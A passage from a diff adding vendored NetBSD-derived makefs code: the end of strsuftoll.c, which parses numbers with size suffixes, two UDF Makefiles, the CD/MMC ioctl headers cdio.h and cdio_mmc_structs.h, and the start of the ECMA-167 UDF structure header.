* Visser of Convex Computer Corporation.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include <sys/cdefs.h>
//__FBSDID("$FreeBSD: head/lib/libnetbsd/strsuftoll.c 244557 2012-12-21 20:37:38Z brooks $");
#include <sys/types.h>
#include <sys/time.h>
#include <assert.h>
#include <ctype.h>
#include <err.h>
#include <errno.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef _LIBC
# ifdef __weak_alias
__weak_alias(strsuftoll, _strsuftoll)
__weak_alias(strsuftollx, _strsuftollx)
# endif
#endif /* LIBC */
/*
* Convert an expression of the following forms to a (u)int64_t.
* 1) A positive decimal number.
* 2) A positive decimal number followed by a b (mult by 512).
* 3) A positive decimal number followed by a k (mult by 1024).
* 4) A positive decimal number followed by a m (mult by 1048576).
* 5) A positive decimal number followed by a g (mult by 1073741824).
* 6) A positive decimal number followed by a t (mult by 1099511627776).
* 7) A positive decimal number followed by a w (mult by sizeof int)
* 8) Two or more positive decimal numbers (with/without k,b or w).
* separated by x (also * for backwards compatibility), specifying
* the product of the indicated values.
* Returns the result upon successful conversion, or exits with an
* appropriate error.
*
*/
/*
* As strsuftoll(), but returns the error message into the provided buffer
* rather than exiting with it.
*/
/* LONGLONG */
long long
strsuftollx(const char *desc, const char *val,
long long min, long long max, char *ebuf, size_t ebuflen)
{
long long num, t;
char *expr;
errno = 0;
ebuf[0] = '\0';
while (isspace((unsigned char)*val)) /* Skip leading space */
val++;
num = strtoll(val, &expr, 10);
if (errno == ERANGE)
goto erange; /* Overflow */
if (expr == val) /* No digits */
goto badnum;
switch (*expr) {
case 'b':
t = num;
num *= 512; /* 1 block */
if (t > num)
goto erange;
++expr;
break;
case 'k':
t = num;
num *= 1024; /* 1 kilobyte */
if (t > num)
goto erange;
++expr;
break;
case 'm':
t = num;
num *= 1048576; /* 1 megabyte */
if (t > num)
goto erange;
++expr;
break;
case 'g':
t = num;
num *= 1073741824; /* 1 gigabyte */
if (t > num)
goto erange;
++expr;
break;
case 't':
t = num;
num *= 1099511627776LL; /* 1 terabyte */
if (t > num)
goto erange;
++expr;
break;
case 'w':
t = num;
num *= sizeof(int); /* 1 word */
if (t > num)
goto erange;
++expr;
break;
}
switch (*expr) {
case '\0':
break;
case '*': /* Backward compatible */
case 'x':
t = num;
num *= strsuftollx(desc, expr + 1, min, max, ebuf, ebuflen);
if (*ebuf != '\0')
return (0);
if (t > num) {
erange:
snprintf(ebuf, ebuflen,
"%s: %s", desc, strerror(ERANGE));
return (0);
}
break;
default:
badnum: snprintf(ebuf, ebuflen,
"%s `%s': illegal number", desc, val);
return (0);
}
if (num < min) {
/* LONGLONG */
snprintf(ebuf, ebuflen, "%s %lld is less than %lld.",
desc, (long long)num, (long long)min);
return (0);
}
if (num > max) {
/* LONGLONG */
snprintf(ebuf, ebuflen,
"%s %lld is greater than %lld.",
desc, (long long)num, (long long)max);
return (0);
}
*ebuf = '\0';
return (num);
}
/* LONGLONG */
long long
strsuftoll(const char *desc, const char *val,
long long min, long long max)
{
long long result;
char errbuf[100];
result = strsuftollx(desc, val, min, max, errbuf, sizeof(errbuf));
if (*errbuf != '\0')
errx(1, "%s", errbuf);
return (result);
}

1267
thirdparty/makefs/udf.c vendored Normal file

File diff suppressed because it is too large Load Diff

19
thirdparty/makefs/udf/Makefile vendored Normal file
View File

@@ -0,0 +1,19 @@
# $NetBSD: Makefile.inc,v 1.2 2013/08/05 18:45:00 reinoud Exp $
#
UDF= ${NETBSDSRCDIR}/sys/fs/udf
UDF_NEWFS= ${NETBSDSRCDIR}/sbin/newfs_udf
FSCK= ${NETBSDSRCDIR}/sbin/fsck # use progress meter.
.PATH: ${.CURDIR}/udf ${UDF} ${UDF_NEWFS} ${FSCK}
CPPFLAGS+= -I${UDF} -I${UDF_NEWFS} -I${FSCK}
SRCS += udf_create.c udf_write.c udf_osta.c newfs_udf.c
objs:
$(CC) -o udf_osta.o udf_osta.c
$(CC) -o udf_create.o udf_create.c
$(CC) -o udf_write.o udf_write.c
ar rs libudf.a *.o

16
thirdparty/makefs/udf/Makefile.inc vendored Normal file
View File

@@ -0,0 +1,16 @@
# $NetBSD: Makefile.inc,v 1.2 2013/08/05 18:45:00 reinoud Exp $
#
UDF= ${NETBSDSRCDIR}/sys/fs/udf
UDF_NEWFS= ${NETBSDSRCDIR}/sbin/newfs_udf
FSCK= ${NETBSDSRCDIR}/sbin/fsck # use progress meter.
.PATH: ${.CURDIR}/udf ${UDF} ${UDF_NEWFS} ${FSCK}
CPPFLAGS+= -I${UDF} -I${UDF_NEWFS} -I${FSCK}
SRCS += udf_create.c udf_write.c udf_osta.c
libs:
$(CC) $(SRCS) -o libudf.o

429
thirdparty/makefs/udf/cdio.h vendored Normal file
View File

@@ -0,0 +1,429 @@
/* $NetBSD: cdio.h,v 1.34 2015/09/06 06:01:02 dholland Exp $ */
#ifndef _SYS_CDIO_H_
#define _SYS_CDIO_H_
#include <endian.h>
// #include <sys/ioccom.h>
/* Shared between kernel & process */
union msf_lba {
struct {
u_char unused;
u_char minute;
u_char second;
u_char frame;
} msf;
uint32_t lba;
u_char addr[4];
};
struct cd_toc_entry {
u_char nothing1;
#if BYTE_ORDER == LITTLE_ENDIAN
uint32_t control:4;
uint32_t addr_type:4;
#endif
#if BYTE_ORDER == BIG_ENDIAN
uint32_t addr_type:4;
uint32_t control:4;
#endif
u_char track;
u_char nothing2;
union msf_lba addr;
};
struct cd_sub_channel_header {
u_char nothing1;
u_char audio_status;
#define CD_AS_AUDIO_INVALID 0x00
#define CD_AS_PLAY_IN_PROGRESS 0x11
#define CD_AS_PLAY_PAUSED 0x12
#define CD_AS_PLAY_COMPLETED 0x13
#define CD_AS_PLAY_ERROR 0x14
#define CD_AS_NO_STATUS 0x15
u_char data_len[2];
};
struct cd_sub_channel_q_data {
u_char data_format;
#if BYTE_ORDER == LITTLE_ENDIAN
uint32_t control:4;
uint32_t addr_type:4;
#endif
#if BYTE_ORDER == BIG_ENDIAN
uint32_t addr_type:4;
uint32_t control:4;
#endif
u_char track_number;
u_char index_number;
u_char absaddr[4];
u_char reladdr[4];
#if BYTE_ORDER == LITTLE_ENDIAN
uint32_t :7;
uint32_t mc_valid:1;
#endif
#if BYTE_ORDER == BIG_ENDIAN
uint32_t mc_valid:1;
uint32_t :7;
#endif
u_char mc_number[15];
#if BYTE_ORDER == LITTLE_ENDIAN
uint32_t :7;
uint32_t ti_valid:1;
#endif
#if BYTE_ORDER == BIG_ENDIAN
uint32_t ti_valid:1;
uint32_t :7;
#endif
u_char ti_number[15];
};
struct cd_sub_channel_position_data {
u_char data_format;
#if BYTE_ORDER == LITTLE_ENDIAN
uint32_t control:4;
uint32_t addr_type:4;
#endif
#if BYTE_ORDER == BIG_ENDIAN
uint32_t addr_type:4;
uint32_t control:4;
#endif
u_char track_number;
u_char index_number;
union msf_lba absaddr;
union msf_lba reladdr;
};
struct cd_sub_channel_media_catalog {
u_char data_format;
u_char nothing1;
u_char nothing2;
u_char nothing3;
#if BYTE_ORDER == LITTLE_ENDIAN
uint32_t :7;
uint32_t mc_valid:1;
#endif
#if BYTE_ORDER == BIG_ENDIAN
uint32_t mc_valid:1;
uint32_t :7;
#endif
u_char mc_number[15];
};
struct cd_sub_channel_track_info {
u_char data_format;
u_char nothing1;
u_char track_number;
u_char nothing2;
#if BYTE_ORDER == LITTLE_ENDIAN
uint32_t :7;
uint32_t ti_valid:1;
#endif
#if BYTE_ORDER == BIG_ENDIAN
uint32_t ti_valid:1;
uint32_t :7;
#endif
u_char ti_number[15];
};
struct cd_sub_channel_info {
struct cd_sub_channel_header header;
union {
struct cd_sub_channel_q_data q_data;
struct cd_sub_channel_position_data position;
struct cd_sub_channel_media_catalog media_catalog;
struct cd_sub_channel_track_info track_info;
} what;
};
/*
* Ioctls for the CD drive
*/
struct ioc_play_track {
u_char start_track;
u_char start_index;
u_char end_track;
u_char end_index;
};
#define CDIOCPLAYTRACKS _IOW('c', 1, struct ioc_play_track)
struct ioc_play_blocks {
int blk;
int len;
};
#define CDIOCPLAYBLOCKS _IOW('c', 2, struct ioc_play_blocks)
struct ioc_read_subchannel {
u_char address_format;
#define CD_LBA_FORMAT 1
#define CD_MSF_FORMAT 2
u_char data_format;
#define CD_SUBQ_DATA 0
#define CD_CURRENT_POSITION 1
#define CD_MEDIA_CATALOG 2
#define CD_TRACK_INFO 3
u_char track;
int data_len;
struct cd_sub_channel_info *data;
};
#define CDIOCREADSUBCHANNEL _IOWR('c', 3, struct ioc_read_subchannel )
#ifdef _KERNEL
/* As above, but with the buffer following the request for in-kernel users. */
struct ioc_read_subchannel_buf {
struct ioc_read_subchannel req;
struct cd_sub_channel_info info;
};
#define CDIOCREADSUBCHANNEL_BUF _IOWR('c', 3, struct ioc_read_subchannel_buf)
#endif
struct ioc_toc_header {
u_short len;
u_char starting_track;
u_char ending_track;
};
#define CDIOREADTOCHEADER _IOR('c', 4, struct ioc_toc_header)
struct ioc_read_toc_entry {
u_char address_format;
u_char starting_track;
u_short data_len;
struct cd_toc_entry *data;
};
#define CDIOREADTOCENTRIES _IOWR('c', 5, struct ioc_read_toc_entry)
#define CDIOREADTOCENTRYS CDIOREADTOCENTRIES
#ifdef _KERNEL
/* As above, but with the buffer following the request for in-kernel users. */
struct ioc_read_toc_entry_buf {
struct ioc_read_toc_entry req;
struct cd_toc_entry entry[100]; /* NB: 8 bytes each */
};
#define CDIOREADTOCENTRIES_BUF _IOWR('c', 5, struct ioc_read_toc_entry_buf)
#endif
/* read LBA start of a given session; 0=last, others not yet supported */
#define CDIOREADMSADDR _IOWR('c', 6, int)
struct ioc_patch {
u_char patch[4]; /* one for each channel */
};
#define CDIOCSETPATCH _IOW('c', 9, struct ioc_patch)
struct ioc_vol {
u_char vol[4]; /* one for each channel */
};
#define CDIOCGETVOL _IOR('c', 10, struct ioc_vol)
#define CDIOCSETVOL _IOW('c', 11, struct ioc_vol)
#define CDIOCSETMONO _IO('c', 12)
#define CDIOCSETSTEREO _IO('c', 13)
#define CDIOCSETMUTE _IO('c', 14)
#define CDIOCSETLEFT _IO('c', 15)
#define CDIOCSETRIGHT _IO('c', 16)
#define CDIOCSETDEBUG _IO('c', 17)
#define CDIOCCLRDEBUG _IO('c', 18)
#define CDIOCPAUSE _IO('c', 19)
#define CDIOCRESUME _IO('c', 20)
#define CDIOCRESET _IO('c', 21)
#define CDIOCSTART _IO('c', 22)
#define CDIOCSTOP _IO('c', 23)
#define CDIOCEJECT _IO('c', 24)
#define CDIOCALLOW _IO('c', 25)
#define CDIOCPREVENT _IO('c', 26)
#define CDIOCCLOSE _IO('c', 27)
struct ioc_play_msf {
u_char start_m;
u_char start_s;
u_char start_f;
u_char end_m;
u_char end_s;
u_char end_f;
};
#define CDIOCPLAYMSF _IOW('c', 25, struct ioc_play_msf)
struct ioc_load_unload {
u_char options;
#define CD_LU_ABORT 0x1 /* NOTE: These are the same as the ATAPI */
#define CD_LU_UNLOAD 0x2 /* op values for the LOAD_UNLOAD command */
#define CD_LU_LOAD 0x3
u_char slot;
};
#define CDIOCLOADUNLOAD _IOW('c', 26, struct ioc_load_unload)
#if defined(_KERNEL) || defined(_EXPOSE_MMC)
/* not exposed to userland yet until its completely mature */
/*
* MMC device abstraction interface.
*
* It gathers information from GET_CONFIGURATION, READ_DISCINFO,
* READ_TRACKINFO, READ_TOC2, READ_CD_CAPACITY and GET_CONFIGURATION
* SCSI/ATAPI calls regardless if its a legacy CD-ROM/DVD-ROM device or a MMC
* standard recordable device.
*/
struct mmc_discinfo {
uint16_t mmc_profile;
uint16_t mmc_class;
uint8_t disc_state;
uint8_t last_session_state;
uint8_t bg_format_state;
uint8_t link_block_penalty; /* in sectors */
uint64_t mmc_cur; /* current MMC_CAPs */
uint64_t mmc_cap; /* possible MMC_CAPs */
uint32_t disc_flags; /* misc flags */
uint32_t disc_id;
uint64_t disc_barcode;
uint8_t application_code; /* 8 bit really */
uint8_t unused1[3]; /* padding */
uint32_t last_possible_lba; /* last leadout start adr. */
uint32_t sector_size;
uint16_t num_sessions;
uint16_t num_tracks; /* derived */
uint16_t first_track;
uint16_t first_track_last_session;
uint16_t last_track_last_session;
uint16_t unused2; /* padding/misc info resv. */
uint16_t reserved1[4]; /* MMC-5 track resources */
uint32_t reserved2[3]; /* MMC-5 POW resources */
uint32_t reserved3[8]; /* MMC-5+ */
};
#define MMCGETDISCINFO _IOR('c', 28, struct mmc_discinfo)
#define MMC_CLASS_UNKN 0
#define MMC_CLASS_DISC 1
#define MMC_CLASS_CD 2
#define MMC_CLASS_DVD 3
#define MMC_CLASS_MO 4
#define MMC_CLASS_BD 5
#define MMC_CLASS_FILE 0xffff /* emulation mode */
#define MMC_DFLAGS_BARCODEVALID (1 << 0) /* barcode is present and valid */
#define MMC_DFLAGS_DISCIDVALID (1 << 1) /* discid is present and valid */
#define MMC_DFLAGS_APPCODEVALID (1 << 2) /* application code valid */
#define MMC_DFLAGS_UNRESTRICTED (1 << 3) /* restricted, then set app. code */
#define MMC_DFLAGS_FLAGBITS \
"\10\1BARCODEVALID\2DISCIDVALID\3APPCODEVALID\4UNRESTRICTED"
#define MMC_CAP_SEQUENTIAL (1 << 0) /* sequential writable only */
#define MMC_CAP_RECORDABLE (1 << 1) /* record-able; i.e. not static */
#define MMC_CAP_ERASABLE (1 << 2) /* drive can erase sectors */
#define MMC_CAP_BLANKABLE (1 << 3) /* media can be blanked */
#define MMC_CAP_FORMATTABLE (1 << 4) /* media can be formatted */
#define MMC_CAP_REWRITABLE (1 << 5) /* media can be rewritten */
#define MMC_CAP_MRW (1 << 6) /* Mount Rainier formatted */
#define MMC_CAP_PACKET (1 << 7) /* using packet recording */
#define MMC_CAP_STRICTOVERWRITE (1 << 8) /* only writes a packet at a time */
#define MMC_CAP_PSEUDOOVERWRITE (1 << 9) /* overwrite through replacement */
#define MMC_CAP_ZEROLINKBLK (1 << 10) /* zero link block length capable */
#define MMC_CAP_HW_DEFECTFREE (1 << 11) /* hardware defect management */
#define MMC_CAP_FLAGBITS \
"\10\1SEQUENTIAL\2RECORDABLE\3ERASABLE\4BLANKABLE\5FORMATTABLE" \
"\6REWRITABLE\7MRW\10PACKET\11STRICTOVERWRITE\12PSEUDOOVERWRITE" \
"\13ZEROLINKBLK\14HW_DEFECTFREE"
#define MMC_STATE_EMPTY 0
#define MMC_STATE_INCOMPLETE 1
#define MMC_STATE_FULL 2
#define MMC_STATE_CLOSED 3
#define MMC_BGFSTATE_UNFORM 0
#define MMC_BGFSTATE_STOPPED 1
#define MMC_BGFSTATE_RUNNING 2
#define MMC_BGFSTATE_COMPLETED 3
struct mmc_trackinfo {
uint16_t tracknr; /* IN/OUT */
uint16_t sessionnr;
uint8_t track_mode;
uint8_t data_mode;
uint16_t flags;
uint32_t track_start;
uint32_t next_writable;
uint32_t free_blocks;
uint32_t packet_size;
uint32_t track_size;
uint32_t last_recorded;
};
#define MMCGETTRACKINFO _IOWR('c', 29, struct mmc_trackinfo)
#define MMC_TRACKINFO_COPY (1 << 0)
#define MMC_TRACKINFO_DAMAGED (1 << 1)
#define MMC_TRACKINFO_FIXED_PACKET (1 << 2)
#define MMC_TRACKINFO_INCREMENTAL (1 << 3)
#define MMC_TRACKINFO_BLANK (1 << 4)
#define MMC_TRACKINFO_RESERVED (1 << 5)
#define MMC_TRACKINFO_NWA_VALID (1 << 6)
#define MMC_TRACKINFO_LRA_VALID (1 << 7)
#define MMC_TRACKINFO_DATA (1 << 8)
#define MMC_TRACKINFO_AUDIO (1 << 9)
#define MMC_TRACKINFO_AUDIO_4CHAN (1 << 10)
#define MMC_TRACKINFO_PRE_EMPH (1 << 11)
#define MMC_TRACKINFO_FLAGBITS \
"\10\1COPY\2DAMAGED\3FIXEDPACKET\4INCREMENTAL\5BLANK" \
"\6RESERVED\7NWA_VALID\10LRA_VALID\11DATA\12AUDIO" \
"\13AUDIO_4CHAN\14PRE_EMPH"
struct mmc_op {
uint16_t operation; /* IN */
uint16_t mmc_profile; /* IN */
/* parameters to operation */
uint16_t tracknr; /* IN */
uint16_t sessionnr; /* IN */
uint32_t extent; /* IN */
uint32_t reserved[4];
};
#define MMCOP _IOWR('c', 30, struct mmc_op)
#define MMC_OP_SYNCHRONISECACHE 1
#define MMC_OP_CLOSETRACK 2
#define MMC_OP_CLOSESESSION 3
#define MMC_OP_FINALISEDISC 4
#define MMC_OP_RESERVETRACK 5
#define MMC_OP_RESERVETRACK_NWA 6
#define MMC_OP_UNRESERVETRACK 7
#define MMC_OP_REPAIRTRACK 8
#define MMC_OP_UNCLOSELASTSESSION 9
#define MMC_OP_MAX 9
struct mmc_writeparams {
uint16_t tracknr; /* IN */
uint16_t mmc_class; /* IN */
uint32_t mmc_cur; /* IN */
uint32_t blockingnr; /* IN */
/* when tracknr == 0 */
uint8_t track_mode; /* IN; normally 5 */
uint8_t data_mode; /* IN; normally 2 */
};
#define MMC_TRACKMODE_DEFAULT 5 /* data, incremental recording */
#define MMC_DATAMODE_DEFAULT 2 /* CDROM XA disc */
#define MMCSETUPWRITEPARAMS _IOW('c', 31, struct mmc_writeparams)
#endif /* _KERNEL || _EXPOSE_MMC */
#endif /* !_SYS_CDIO_H_ */

163
thirdparty/makefs/udf/cdio_mmc_structs.h vendored Normal file
View File

@@ -0,0 +1,163 @@
/* $NetBSD: cdio_mmc_structs.h,v 1.1 2013/08/05 18:44:16 reinoud Exp $ */
/*
* Copyright (c) 2006, 2008, 2013 Reinoud Zandijk
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#ifndef _CDIO_MMC_EMU_H_
#define _CDIO_MMC_EMU_H_
#include <sys/types.h>
/*
* MMC device abstraction interface.
*
* It gathers information from GET_CONFIGURATION, READ_DISCINFO,
* READ_TRACKINFO, READ_TOC2, READ_CD_CAPACITY and GET_CONFIGURATION
* SCSI/ATAPI calls regardless if its a legacy CD-ROM/DVD-ROM device or a MMC
* standard recordable device.
*/
struct mmc_discinfo {
uint16_t mmc_profile;
uint16_t mmc_class;
uint8_t disc_state;
uint8_t last_session_state;
uint8_t bg_format_state;
uint8_t link_block_penalty; /* in sectors */
uint64_t mmc_cur; /* current MMC_CAPs */
uint64_t mmc_cap; /* possible MMC_CAPs */
uint32_t disc_flags; /* misc flags */
uint32_t disc_id;
uint64_t disc_barcode;
uint8_t application_code; /* 8 bit really */
uint8_t unused1[3]; /* padding */
uint32_t last_possible_lba; /* last leadout start adr. */
uint32_t sector_size;
uint16_t num_sessions;
uint16_t num_tracks; /* derived */
uint16_t first_track;
uint16_t first_track_last_session;
uint16_t last_track_last_session;
uint16_t unused2; /* padding/misc info resv. */
uint16_t reserved1[4]; /* MMC-5 track resources */
uint32_t reserved2[3]; /* MMC-5 POW resources */
uint32_t reserved3[8]; /* MMC-5+ */
};
#define MMCGETDISCINFO _IOR('c', 28, struct mmc_discinfo)
#define MMC_CLASS_UNKN 0
#define MMC_CLASS_DISC 1
#define MMC_CLASS_CD 2
#define MMC_CLASS_DVD 3
#define MMC_CLASS_MO 4
#define MMC_CLASS_BD 5
#define MMC_CLASS_FILE 0xffff /* emulation mode */
#define MMC_DFLAGS_BARCODEVALID (1 << 0) /* barcode is present and valid */
#define MMC_DFLAGS_DISCIDVALID (1 << 1) /* discid is present and valid */
#define MMC_DFLAGS_APPCODEVALID (1 << 2) /* application code valid */
#define MMC_DFLAGS_UNRESTRICTED (1 << 3) /* restricted, then set app. code */
#define MMC_DFLAGS_FLAGBITS \
"\10\1BARCODEVALID\2DISCIDVALID\3APPCODEVALID\4UNRESTRICTED"
#define MMC_CAP_SEQUENTIAL (1 << 0) /* sequential writable only */
#define MMC_CAP_RECORDABLE (1 << 1) /* record-able; i.e. not static */
#define MMC_CAP_ERASABLE (1 << 2) /* drive can erase sectors */
#define MMC_CAP_BLANKABLE (1 << 3) /* media can be blanked */
#define MMC_CAP_FORMATTABLE (1 << 4) /* media can be formatted */
#define MMC_CAP_REWRITABLE (1 << 5) /* media can be rewritten */
#define MMC_CAP_MRW (1 << 6) /* Mount Rainier formatted */
#define MMC_CAP_PACKET (1 << 7) /* using packet recording */
#define MMC_CAP_STRICTOVERWRITE (1 << 8) /* only writes a packet at a time */
#define MMC_CAP_PSEUDOOVERWRITE (1 << 9) /* overwrite through replacement */
#define MMC_CAP_ZEROLINKBLK (1 << 10) /* zero link block length capable */
#define MMC_CAP_HW_DEFECTFREE (1 << 11) /* hardware defect management */
#define MMC_CAP_FLAGBITS \
"\10\1SEQUENTIAL\2RECORDABLE\3ERASABLE\4BLANKABLE\5FORMATTABLE" \
"\6REWRITABLE\7MRW\10PACKET\11STRICTOVERWRITE\12PSEUDOOVERWRITE" \
"\13ZEROLINKBLK\14HW_DEFECTFREE"
#define MMC_STATE_EMPTY 0
#define MMC_STATE_INCOMPLETE 1
#define MMC_STATE_FULL 2
#define MMC_STATE_CLOSED 3
#define MMC_BGFSTATE_UNFORM 0
#define MMC_BGFSTATE_STOPPED 1
#define MMC_BGFSTATE_RUNNING 2
#define MMC_BGFSTATE_COMPLETED 3
struct mmc_trackinfo {
uint16_t tracknr; /* IN/OUT */
uint16_t sessionnr;
uint8_t track_mode;
uint8_t data_mode;
uint16_t flags;
uint32_t track_start;
uint32_t next_writable;
uint32_t free_blocks;
uint32_t packet_size;
uint32_t track_size;
uint32_t last_recorded;
};
#define MMCGETTRACKINFO _IOWR('c', 29, struct mmc_trackinfo)
#define MMC_TRACKINFO_COPY (1 << 0)
#define MMC_TRACKINFO_DAMAGED (1 << 1)
#define MMC_TRACKINFO_FIXED_PACKET (1 << 2)
#define MMC_TRACKINFO_INCREMENTAL (1 << 3)
#define MMC_TRACKINFO_BLANK (1 << 4)
#define MMC_TRACKINFO_RESERVED (1 << 5)
#define MMC_TRACKINFO_NWA_VALID (1 << 6)
#define MMC_TRACKINFO_LRA_VALID (1 << 7)
#define MMC_TRACKINFO_DATA (1 << 8)
#define MMC_TRACKINFO_AUDIO (1 << 9)
#define MMC_TRACKINFO_AUDIO_4CHAN (1 << 10)
#define MMC_TRACKINFO_PRE_EMPH (1 << 11)
#define MMC_TRACKINFO_FLAGBITS \
"\10\1COPY\2DAMAGED\3FIXEDPACKET\4INCREMENTAL\5BLANK" \
"\6RESERVED\7NWA_VALID\10LRA_VALID\11DATA\12AUDIO" \
"\13AUDIO_4CHAN\14PRE_EMPH"
#endif /* _CDIO_MMC_EMU_H_ */

840
thirdparty/makefs/udf/ecma167-udf.h vendored Normal file
View File

@@ -0,0 +1,840 @@
/* $NetBSD: ecma167-udf.h,v 1.17 2022/03/18 16:06:18 reinoud Exp $ */
/*-
* Copyright (c) 2003, 2004, 2005, 2006, 2008, 2009, 2017, 2018
* Reinoud Zandijk <reinoud@NetBSD.org>
* Copyright (c) 2001, 2002 Scott Long <scottl@freebsd.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*
* Extended and adapted for UDFv2.50+ bij Reinoud Zandijk based on the
* original by Scott Long.
*
* 20030508 Made some small typo and explanatory comments
* 20030510 Added UDF 2.01 structures
* 20030519 Added/correct comments on multi-partitioned logical volume space
* 20050616 Added pseudo overwrite
* 20050624 Added the missing extended attribute types and `magic values'.
* 20051106 Reworked some implementation use parts
*
*/
#ifndef _FS_UDF_ECMA167_UDF_H_
#define _FS_UDF_ECMA167_UDF_H_
/*
* in case of an older gcc versions, define the __packed as explicit
* attribute
*/
/*
* You may specify the `aligned' and `transparent_union' attributes either in
* a `typedef' declaration or just past the closing curly brace of a complete
* enum, struct or union type _definition_ and the `packed' attribute only
* past the closing brace of a definition. You may also specify attributes
* between the enum, struct or union tag and the name of the type rather than
* after the closing brace.
*/
#ifndef __packed
#define __packed __attribute__((packed))
#endif
/* ecma167-udf.h */
/* Volume recognition sequence ECMA 167 rev. 3 16.1 */
struct vrs_desc {
uint8_t struct_type;
uint8_t identifier[5];
uint8_t version;
uint8_t data[2041];
} __packed;
#define VRS_NSR02 "NSR02"
#define VRS_NSR03 "NSR03"
#define VRS_BEA01 "BEA01"
#define VRS_TEA01 "TEA01"
#define VRS_CD001 "CD001"
#define VRS_CDW02 "CDW02"
/* Structure/definitions/constants a la ECMA 167 rev. 3 */
#define MAX_TAGID_VOLUMES 9
/* Tag identifiers */
enum {
TAGID_SPARING_TABLE = 0,
TAGID_PRI_VOL = 1,
TAGID_ANCHOR = 2,
TAGID_VOL = 3,
TAGID_IMP_VOL = 4,
TAGID_PARTITION = 5,
TAGID_LOGVOL = 6,
TAGID_UNALLOC_SPACE = 7,
TAGID_TERM = 8,
TAGID_LOGVOL_INTEGRITY= 9,
TAGID_FSD = 256,
TAGID_FID = 257,
TAGID_ALLOCEXTENT = 258,
TAGID_INDIRECTENTRY = 259,
TAGID_ICB_TERM = 260,
TAGID_FENTRY = 261,
TAGID_EXTATTR_HDR = 262,
TAGID_UNALL_SP_ENTRY = 263,
TAGID_SPACE_BITMAP = 264,
TAGID_PART_INTEGRITY = 265,
TAGID_EXTFENTRY = 266,
TAGID_MAX = 266
};
enum {
UDF_DOMAIN_FLAG_HARD_WRITE_PROTECT = 1,
UDF_DOMAIN_FLAG_SOFT_WRITE_PROTECT = 2
};
enum {
UDF_ACCESSTYPE_NOT_SPECIFIED = 0, /* unknown */
UDF_ACCESSTYPE_PSEUDO_OVERWITE = 0, /* pseudo overwritable, e.g. BD-R's LOW */
UDF_ACCESSTYPE_READ_ONLY = 1, /* really only readable */
UDF_ACCESSTYPE_WRITE_ONCE = 2, /* write once and you're done */
UDF_ACCESSTYPE_REWRITEABLE = 3, /* may need extra work to rewrite */
UDF_ACCESSTYPE_OVERWRITABLE = 4 /* no limits on rewriting; e.g. harddisc*/
};
/* Descriptor tag [3/7.2] */
struct desc_tag {
